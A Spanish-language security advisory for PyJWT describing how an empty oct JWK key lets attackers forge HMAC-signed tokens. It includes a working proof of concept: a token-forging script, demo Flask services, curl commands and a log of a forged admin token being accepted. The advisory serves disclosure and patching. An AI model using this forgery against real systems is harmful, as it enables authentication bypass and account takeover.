Alta

PyJWT: La verificación de HS256/384/512 acepta una clave HMAC vacía mediante oct JWK (PyJWK/PyJWKClient), permitiendo la falsificación de tokens

  • Publicada: 22.10.2026
  • Actualizado: 24.10.2026 00:06

Resumen

HMACAlgorithm.from_jwk acepta un JWK simétrico (kty=oct) cuyo valor k es una cadena vacía y devuelve una clave de longitud cero sin lanzar ninguna excepción. Cuando posteriormente se verifica un token con dicho objeto de clave (un PyJWK o un PyJWK resuelto por PyJWKSet / PyJWKClient), el verificador HMAC calcula HMAC(key=b"", signing_input) y acepta cualquier token falsificado por un atacante con la misma clave vacía. El atacante no necesita conocer ningún secreto: reproduce el digest localmente con una clave vacía y establece el kid del token apuntando al JWK con k vacío.

El rechazo de claves vacías que HMACAlgorithm.prepare_key realiza para secretos de tipo string/bytes (incorporado en 2.13.0) nunca se propagó a la ruta de código hermana from_jwk, por lo que la ruta de verificación JWK/JWKS sigue siendo explotable. Bajo las opciones de decodificación predeterminadas, esta ruta solo emite un InsecureKeyLengthWarning y no un error, por lo que la verificación se completa correctamente. Se trata del mismo defecto de "clave HMAC vacía/nula aceptada en la verificación" que el ecosistema JWT está subsanando a nivel de biblioteca: tanto fast-jwt CVE-2026-44351 (CVSS 9.1) como ruby-jwt CVE-2026-45363 añadieron una precondición interna para rechazar claves HMAC vacías.

Versiones afectadas

PyJWT (paquete de PyPI pyjwt) <= 2.13.0, actual master en el commit 7144e4534c34810f4525dc4578a32addd8212cff. La ruta de secretos string/bytes ya está protegida en 2.13.0; la ruta JWK/JWKS no lo está.

Privilegios requeridos

Ninguno (no autenticado). Cualquier actor que pueda alcanzar un endpoint que verifique JWT en una aplicación que valide mediante PyJWK / PyJWKSet / PyJWKClient cuya clave oct tenga un k vacío puede falsificar tokens con claims arbitrarios.

Precondiciones: el verificador resuelve la clave HMAC desde un JWK/JWKS cuya entrada oct contiene un k vacío. Esto ocurre cuando el secreto de firma proviene de una variable de entorno no configurada, un registro de configuración no definido o un fallback de búsqueda de claves que codifica en base64url b"" en el JWKS publicado, o cuando la aplicación confía en un JWKS que contiene dicha entrada. El caso equivalente de secreto no configurado en la API de secretos mediante cadenas (jwt.decode(token, key="")) ya se rechaza en 2.13.0; la ruta JWK sigue siendo la superficie expuesta accesible ante esta misma mala configuración.

Código vulnerable

jwt/algorithms.py, HMACAlgorithm.from_jwk (línea 380):

python
@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
    try:
        if isinstance(jwk, str):
            obj: JWKDict = json.loads(jwk)
        elif isinstance(jwk, dict):
            obj = jwk
        else:
            raise ValueError
    except ValueError:
        raise InvalidKeyError("Key is not valid JSON") from None

    if obj.get("kty") != "oct":
        raise InvalidKeyError("Not an HMAC key")

    return base64url_decode(obj["k"])   # <-- empty k -> b"", no rejection

Compárese con la función hermana prepare_key, que SÍ recibió la validación (líneas 325-329):

python
def prepare_key(self, key: str | bytes) -> bytes:
    key_bytes = force_bytes(key)

    if len(key_bytes) == 0:
        raise InvalidKeyError("HMAC key must not be empty.")

En jwt/api_jws.py, _verify_signature (líneas 389-416) utiliza directamente el material de clave PyJWK, eludiendo prepare_key, y la advertencia de longitud no es fatal de forma predeterminada:

python
        if isinstance(key, PyJWK):
            if alg != key.algorithm_name:
                raise InvalidAlgorithmError(
                    f"Token algorithm {alg!r} does not match the key's "
                    f"algorithm {key.algorithm_name!r}"
                )
            alg_obj = key.Algorithm
            prepared_key = key.key            # from_jwk output (b""), prepare_key not run
        else:
            try:
                alg_obj = self.get_algorithm_by_name(alg)
            except NotImplementedError as e:
                raise InvalidAlgorithmError("Algorithm not supported") from e
            prepared_key = alg_obj.prepare_key(key)

        key_length_msg = alg_obj.check_key_length(prepared_key)
        if key_length_msg:
            if effective_options.get("enforce_minimum_key_length", False):
                raise InvalidKeyError(key_length_msg)
            else:
                warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4)  # default: warn only

        if not alg_obj.verify(signing_input, prepared_key, signature):  # verify with b"" succeeds
            raise InvalidSignatureError("Signature verification failed")

PyJWK.__init__ establece self.key = self.Algorithm.from_jwk(self._jwk_data), por lo que un JWK {"kty":"oct","k":""} produce PyJWK.key == b"". PyJWKSet y PyJWKClient.get_signing_key_from_jwt construyen objetos PyJWK del mismo modo, por lo que la ruta de resolución JWKS sobre HTTP se ve afectada de manera idéntica.

La nota de lanzamiento de 2.13.0 (CHANGELOG.rst) documenta el endurecimiento de prepare_key JWK/PEM (GHSA-xgmm-8j9v-c9wx) y la corrección de enlace de algoritmo PyJWK (GHSA-jq35-7prp-9v3f), y la suite de pruebas contiene test_hmac_prepare_key_rejects_empty_key junto con test_hmac_from_jwk_should_raise_exception_if_empty_json (que comprueba un objeto JSON vacío {}, no una clave oct con k vacío). El caso de una clave oct con k vacío representa la ruta hermana no probada que este informe subsana.

Cómo llega la entrada del atacante al punto crítico

Un cliente HTTP no autenticado controla el token de portador por completo: su kid selecciona el JWK oct con k vacío, y su firma se calcula localmente con la clave vacía. El token fluye de la cabecera de la solicitud -> PyJWKClient.get_signing_key_from_jwt (resolución de kid frente al JWKS de confianza) -> jwt.decode con el PyJWK resuelto -> _verify_signature -> HMACAlgorithm.verify(signing_input, b"", sig). No se requiere ningún secreto, credencial ni sesión previa; la única precondición del lado del servidor es una entrada oct en el JWKS con un k vacío, que resulta de una configuración con "secreto de firma no definido". Este es el mismo límite de confianza que la ruta de secretos en cadena ya protege.

Prueba de concepto

Reproducción de extremo a extremo frente a PyPI pyjwt 2.13.0 fijado (dos servicios Flask desplegados)

Dos servicios representan un despliegue OIDC estándar: un servicio de autenticación que publica un JWKS y un servidor de recursos protegido que valida tokens de portador frente a dicho JWKS utilizando el patrón documentado PyJWKClient de PyJWT. El secreto de firma del servicio de autenticación procede de una variable de entorno no establecida (SIGNING_SECRET no establecida -> ""), por lo que el JWK oct publicado contiene k == "".

idp.py (servicio de autenticación):

python
import os, base64
from flask import Flask, jsonify
app = Flask(__name__)
SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "")   # UNSET at runtime -> ""
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

@app.route("/.well-known/jwks.json")
def jwks():
    return jsonify({"keys": [{
        "kty": "oct", "use": "sig", "alg": "HS256",
        "kid": "auth-signing-2026",
        "k": b64u(SIGNING_SECRET.encode()),   # empty secret -> k == ""
    }]})

if __name__ == "__main__":
    app.run(port=9101)

api.py (servidor de recursos protegido):

python
from flask import Flask, request, jsonify
import jwt
from jwt import PyJWKClient
app = Flask(__name__)
jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json")

def authenticate():
    auth = request.headers.get("Authorization", "")
    if not auth.startswith("Bearer "):
        return None, "missing bearer token"
    token = auth.split(" ", 1)[1]
    try:
        signing_key = jwks_client.get_signing_key_from_jwt(token)  # resolves by kid
        claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"])
    except Exception as e:
        return None, "invalid token: %s" % type(e).__name__
    return claims, None

@app.route("/api/admin/users")
def admin_users():
    claims, err = authenticate()
    if err:
        return jsonify({"error": err}), 401
    if claims.get("role") != "admin":
        return jsonify({"error": "forbidden"}), 403
    return jsonify({"ok": True, "action": "list_all_users",
                    "as_user": claims.get("sub"), "role": claims.get("role")})

if __name__ == "__main__":
    app.run(port=9102)

forge.py (atacante; sin conocimiento de secretos):

python
import hmac, hashlib, base64, json, sys
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"}
payload={"sub":"attacker@evil.example","role":"admin"}
si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode())
key = sys.argv[1].encode() if len(sys.argv)>1 else b""   # empty key
sig=hmac.new(key, si.encode(), hashlib.sha256).digest()
print(si+"."+b64u(sig))

Ejecución:

bash
python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask
( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &
FORGED=$(./v/bin/python forge.py "")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users

Ejecución textual (ataque, ambos controles negativos, verificación de sanidad y reejecución en la versión parcheada):

### PyJWT version
2.13.0

### JWKS published by the auth service (note the empty "k"):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}

### Baseline: unauthenticated request to admin endpoint
HTTP 401

### ATTACK: attacker forges HS256 admin token signed with the EMPTY key
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ
response:
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
  <-- HTTP 200

### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject
{"error":"invalid token: InvalidSignatureError"}
  <-- HTTP 401

### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail
JWKS now has non-empty k:
{"keys":[{"alg":"HS256","k":"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: InvalidSignatureError"}
  <-- HTTP 401

### Sanity: a legitimately-signed token with the real secret is accepted
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
  <-- HTTP 200

### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected
JWKS (empty k, vulnerable config):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: PyJWKSetError"}
  <-- HTTP 401

El ataque devuelve HTTP 200 con role:admin a partir de un token falsificado sin autenticación. Ambos controles negativos (clave no vacía incorrecta; secreto real no vacío en el servicio de autenticación) devuelven 401, aislando el fallo a la aceptación de la clave vacía. La versión parcheada (la corrección from_jwk detallada a continuación) rechaza la falsificación.

Impacto

  • Evasión de autenticación no autenticada / falsificación de tokens: un atacante genera tokens con claims arbitrarios (role:admin, sub arbitrario) que se verifican con éxito, logrando una suplantación total y escalada de privilegios en cualquier endpoint protegido por dichos tokens.
  • Accesible a través de la API documentada de verificación de JWKS (PyJWKClient / PyJWKSet / PyJWK), no solo mediante el uso directo de HMACAlgorithm.
  • Provocado por la mala configuración habitual de "secreto de firma no definido" que la ruta de secretos de texto ya rechaza en 2.13.0, dejando la ruta JWK como una brecha asimétrica.

Corrección sugerida

Rechazar claves de longitud cero en HMACAlgorithm.from_jwk, replicando la validación que prepare_key ya implementa:

python
if obj.get("kty") != "oct":
    raise InvalidKeyError("Not an HMAC key")

key_bytes = base64url_decode(obj["k"])
if len(key_bytes) == 0:
    raise InvalidKeyError("HMAC key must not be empty.")
return key_bytes

Esto reutiliza exactamente el mismo mensaje de error y comprobación de longitud que utiliza la ruta de string/bytes, asegurando que ambas vías de carga de claves HMAC apliquen el mismo invariante. Un test de regresión para el JWK oct con k vacío corresponde situarse junto a test_hmac_from_jwk_should_raise_exception_if_empty_json.

PR de corrección

https://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (fork temporal de aviso privado, base master, rama fix/hmac-from-jwk-reject-empty-key, firmado con DCO; añade test_hmac_from_jwk_rejects_empty_k; pasan test_algorithms.py, test_api_jwk.py, test_api_jws.py).

Créditos

Reportado por tonghuaroot.

Actualización de los mantenedores (2026-09-10): Hemos reproducido el comportamiento reportado: un JWK oct con un valor k vacío fue decodificado a una clave HMAC vacía y aceptado mediante la ruta de verificación JWK/PyJWK, mientras que la ruta directa de string/bytes rechazaba correctamente una clave vacía. La corrección añade la misma validación de clave vacía en el límite de JWK e incluye una prueba de regresión. Está confirmada como af8181ca0bec5e6b372fbba9afbe23702b787ceb y ha superado los entornos tox disponibles del proyecto, incluyendo pruebas con y sin criptografía en Python 3.9, 3.12 y 3.13, además de revisiones de mypy, metadatos de paquete y cobertura. Una nueva revisión de Astra/max aceptó el arreglo y confirmó que el comportamiento para claves no vacías, binarias y asimétricas permanece inalterado. El arreglo aún no se ha publicado en una versión de PyJWT, por lo que este aviso pasa a estado de borrador y permanece inédito hasta el lanzamiento.

Actualización de los mantenedores — 2026-09-11

La solución verificada para este aviso está incluida en PyJWT 2.14.0, publicada el 2026-09-11 y disponible en PyPI. PyJWT 2.14.0 es la primera versión que contiene la corrección. Este aviso se publica ahora registrando 2.14.0 como versión corregida.

Qué hacer

Actualice a PyJWT 2.14.0 (2.14.0) o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pyjwt < 2.14.0 2.14.0

Referencias

Puntuación CVSS 7.4/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Debilidad (CWE)
CWE-347
Plataforma
Python (PyPI)
Paquete
pyjwt
Publicada
22.10.2026
Actualizado
24.10.2026 00:06

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-pxh4-856f-4h89 - CC BY 4.0

Historial de vulnerabilidades: pyjwt

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (25) en el archivo
Entradas en total
25
Primera → última
08.2017 10.2026
Sin corrección
2
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 11
  • Media 11
  • Baja 2

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 1
  7. 2023: 0
  8. 2024: 1
  9. 2025: 1
  10. 2026: 21
Gravedad:
  1. PyJWT: La verificación de HS256/384/512 acepta una clave HMAC vacía mediante oct JWK (PyJWK/PyJWKClient), permitiendo la falsificación de tokens esta entrada
    Alta · 7.4 ghsa-pxh4-856f-4h89 < 2.14.0 2.14.0
  2. Alta · 7.4 CVE-2026-102266 >= 2.13.0, < 2.14.0 2.14.0
  3. Alta · 7.4 CVE-2026-102273 >= 2.13.0, < 2.14.0 2.14.0
  4. Alta · 7.4 CVE-2026-102267 < 2.14.0 2.14.0
  5. Alta · 7.4 CVE-2026-102272 >= 2.13.0, < 2.14.0 2.14.0
  6. Alta · 7.5 CVE-2026-32597 < 2.12.0 2.12.0
  7. Alta · 7.4 CVE-2022-29217 >= 1.5.0, < 2.4.0 2.4.0
  8. Alta · 7.5 CVE-2017-11424 < 1.5.1 1.5.1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.